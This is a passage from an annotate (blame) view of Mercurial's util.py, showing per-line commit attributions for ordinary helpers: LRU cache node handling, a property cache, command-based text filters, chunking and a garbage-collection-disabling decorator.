45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1191
           N.next = A  (node.next = head)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1192
           A.prev = N  (head.prev = node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1193
        """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1194
        head = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1195
        # C.next = D
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1196
        node.prev.next = node.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1197
        # D.prev = C
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1198
        node.next.prev = node.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1199
        # N.prev = E
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1200
        node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1201
        # N.next = A
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1202
        # It is tempting to do just "head" here, however if node is
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1203
        # adjacent to head, this will do bad things.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1204
        node.next = head.prev.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1205
        # E.next = N
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1206
        node.next.prev = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1207
        # A.prev = N
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1208
        node.prev.next = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1209
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1210
        self._head = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1211
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1212
    def _addcapacity(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1213
        """Add a node to the circular linked list.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1214
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1215
        The new node is inserted before the head node.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1216
        """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1217
        head = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1218
        node = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1219
        head.prev.next = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1220
        node.prev = head.prev
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1221
        node.next = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1222
        head.prev = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1223
        self._size += 1
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1224
        return node
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
  1225
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1226
def lrucachefunc(func):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1227
    '''cache most recent results of function calls'''
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1228
    cache = {}
25113
0ca8410ea345 util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents: 25112
diff changeset
  1229
    order = collections.deque()
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
  1230
    if func.__code__.co_argcount == 1:
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1231
        def f(arg):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1232
            if arg not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1233
                if len(cache) > 20:
16803
107a3270a24a cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents: 16769
diff changeset
  1234
                    del cache[order.popleft()]
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1235
                cache[arg] = func(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1236
            else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1237
                order.remove(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1238
            order.append(arg)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1239
            return cache[arg]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1240
    else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1241
        def f(*args):
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1242
            if args not in cache:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1243
                if len(cache) > 20:
16803
107a3270a24a cleanup: use the deque type where appropriate
Bryan O'Sullivan <bryano@fb.com>
parents: 16769
diff changeset
  1244
                    del cache[order.popleft()]
9097
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1245
                cache[args] = func(*args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1246
            else:
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1247
                order.remove(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1248
            order.append(args)
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1249
            return cache[args]
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1250
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1251
    return f
431462bd8478 fix memory usage of revlog caches by limiting cache size [issue1639]
Matt Mackall <mpm@selenic.com>
parents: 9089
diff changeset
  1252
8207
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1253
class propertycache(object):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1254
    def __init__(self, func):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1255
        self.func = func
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1256
        self.name = func.__name__
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1257
    def __get__(self, obj, type=None):
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1258
        result = self.func(obj)
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
  1259
        self.cachevalue(obj, result)
8207
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1260
        return result
dd8d5be57d65 util: take propertycache from context.py
Matt Mackall <mpm@selenic.com>
parents: 8181
diff changeset
  1261
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
  1262
    def cachevalue(self, obj, value):
19951
d51c4d85ec23 spelling: random spell checker fixes
Mads Kiilerich <madski@unity3d.com>
parents: 19852
diff changeset
  1263
        # __dict__ assignment required to bypass __setattr__ (eg: repoview)
19845
a1237a4b437d repoview: make propertycache.setcache compatible with repoview
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 19461
diff changeset
  1264
        obj.__dict__[self.name] = value
18013
98c867ac1330 clfilter: add a propertycache that must be unfiltered
Pierre-Yves David <pierre-yves.david@logilab.fr>
parents: 17962
diff changeset
  1265
35014
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
  1266
def clearcachedproperty(obj, prop):
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
  1267
    '''clear a cached property value, if one has been set'''
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
  1268
    if prop in obj.__dict__:
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
  1269
        del obj.__dict__[prop]
be6aa0cff8ea util: add util.clearcachedproperty
Mark Thomas <mbthomas@fb.com>
parents: 34647
diff changeset
  1270
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1271
def pipefilter(s, cmd):
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1272
    '''filter string S through command CMD, returning its output'''
8302
d2ad8c066676 util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents: 8299
diff changeset
  1273
    p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
d2ad8c066676 util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents: 8299
diff changeset
  1274
                         stdin=subprocess.PIPE, stdout=subprocess.PIPE)
d2ad8c066676 util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents: 8299
diff changeset
  1275
    pout, perr = p.communicate(s)
d2ad8c066676 util: simplify pipefilter and avoid subprocess race
Martin Geisler <mg@lazybytes.net>
parents: 8299
diff changeset
  1276
    return pout
419
28511fc21073 [PATCH] file seperator handling for the other 'OS'
mpm@selenic.com
parents:
diff changeset
  1277
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1278
def tempfilter(s, cmd):
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1279
    '''filter string S through a pair of temporary files with CMD.
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1280
    CMD is used as a template to create the real command to be run,
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1281
    with the strings INFILE and OUTFILE replaced by the real names of
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1282
    the temporary files generated.'''
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1283
    inname, outname = None, None
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1284
    try:
2165
d821918e3bee Use better names (hg-{usage}-{random}.{suffix}) for temporary files.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 2153
diff changeset
  1285
        infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
30925
82f1ef8b4477 py3: convert the mode argument of os.fdopen to unicodes (2 of 2)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30876
diff changeset
  1286
        fp = os.fdopen(infd, pycompat.sysstr('wb'))
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1287
        fp.write(s)
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1288
        fp.close()
2165
d821918e3bee Use better names (hg-{usage}-{random}.{suffix}) for temporary files.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 2153
diff changeset
  1289
        outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1290
        os.close(outfd)
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1291
        cmd = cmd.replace('INFILE', inname)
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1292
        cmd = cmd.replace('OUTFILE', outname)
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1293
        code = os.system(cmd)
30642
e995f00a9e9a py3: replace sys.platform with pycompat.sysplatform (part 2 of 2)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30639
diff changeset
  1294
        if pycompat.sysplatform == 'OpenVMS' and code & 1:
4720
72fb6f10fac1 OpenVMS patches
Jean-Francois PIERONNE <jf.pieronne@laposte.net>
parents: 4708
diff changeset
  1295
            code = 0
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1296
        if code:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1297
            raise Abort(_("command '%s' failed: %s") %
14234
600e64004eb5 rename explain_exit to explainexit
Adrian Buehlmann <adrian@cadifra.com>
parents: 14230
diff changeset
  1298
                        (cmd, explainexit(code)))
27768
5ef99738a562 util: replace file I/O with readfile
Bryan O'Sullivan <bryano@fb.com>
parents: 27766
diff changeset
  1299
        return readfile(outname)
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1300
    finally:
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1301
        try:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1302
            if inname:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1303
                os.unlink(inname)
14004
97ed99d1f419 eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents: 13985
diff changeset
  1304
        except OSError:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1305
            pass
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1306
        try:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1307
            if outname:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1308
                os.unlink(outname)
14004
97ed99d1f419 eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents: 13985
diff changeset
  1309
        except OSError:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1310
            pass
1293
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1311
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1312
filtertable = {
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1313
    'tempfile:': tempfilter,
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1314
    'pipe:': pipefilter,
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1315
    }
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1316
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1317
def filter(s, cmd):
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1318
    "filter a string through a command that transforms its input to its output"
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1319
    for name, fn in filtertable.iteritems():
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1320
        if cmd.startswith(name):
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1321
            return fn(s, cmd[len(name):].lstrip())
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1322
    return pipefilter(s, cmd)
a6ffcebd3315 Enhance the file filtering capabilities.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1292
diff changeset
  1323
1015
22571b8d35d3 Add automatic binary file detection to diff and export
mpm@selenic.com
parents: 917
diff changeset
  1324
def binary(s):
6507
9699864de219 Let util.binary check entire data for \0 (issue1066, issue1079)
Christian Ebert <blacktrash@gmx.net>
parents: 6501
diff changeset
  1325
    """return true if a string is binary data"""
8118
35f7fda52c92 util: return boolean result directly in util.binary
Martin Geisler <mg@lazybytes.net>
parents: 8011
diff changeset
  1326
    return bool(s and '\0' in s)
6762
f67d1468ac50 util: add sort helper
Matt Mackall <mpm@selenic.com>
parents: 6746
diff changeset
  1327
7396
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1328
def increasingchunks(source, min=1024, max=65536):
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1329
    '''return no less than min bytes per chunk while data remains,
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1330
    doubling min after each chunk until it reaches max'''
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1331
    def log2(x):
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1332
        if not x:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1333
            return 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1334
        i = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1335
        while x:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1336
            x >>= 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1337
            i += 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1338
        return i - 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1339
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1340
    buf = []
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1341
    blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1342
    for chunk in source:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1343
        buf.append(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1344
        blen += len(chunk)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1345
        if blen >= min:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1346
            if min < max:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1347
                min = min << 1
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1348
                nmin = 1 << log2(blen)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1349
                if nmin > min:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1350
                    min = nmin
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1351
                if min > max:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1352
                    min = max
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1353
            yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1354
            blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1355
            buf = []
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1356
    if buf:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1357
        yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
  1358
7947
a454eeb1b827 move util.Abort to error.py
Matt Mackall <mpm@selenic.com>
parents: 7913
diff changeset
  1359
Abort = error.Abort
508
42a660abaf75 [PATCH] Harden os.system
mpm@selenic.com
parents: 464
diff changeset
  1360
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1361
def always(fn):
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1362
    return True
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1363
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1364
def never(fn):
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1365
    return False
724
1c0c413cccdd Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents: 705
diff changeset
  1366
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1367
def nogc(func):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1368
    """disable garbage collector
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1369
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1370
    Python's garbage collector triggers a GC each time a certain number of
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1371
    container objects (the number being defined by gc.get_threshold()) are
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1372
    allocated even when marked not to be tracked by the collector. Tracking has
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1373
    no effect on when GCs are triggered, only on what objects the GC looks
23543
4dd8a6a1240d spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents: 23495
diff changeset
  1374
    into. As a workaround, disable GC while building complex (huge)
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1375
    containers.
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1376
33799
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
  1377
    This garbage collector issue have been fixed in 2.7. But it still affect
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33793
diff changeset
  1378
    CPython's performance.
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1379
    """
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1380
    def wrapper(*args, **kwargs):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1381
        gcenabled = gc.isenabled()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1382
        gc.disable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1383
        try:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1384
            return func(*args, **kwargs)
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1385
        finally:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1386
            if gcenabled:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1387
                gc.enable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
  1388
    return wrapper
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
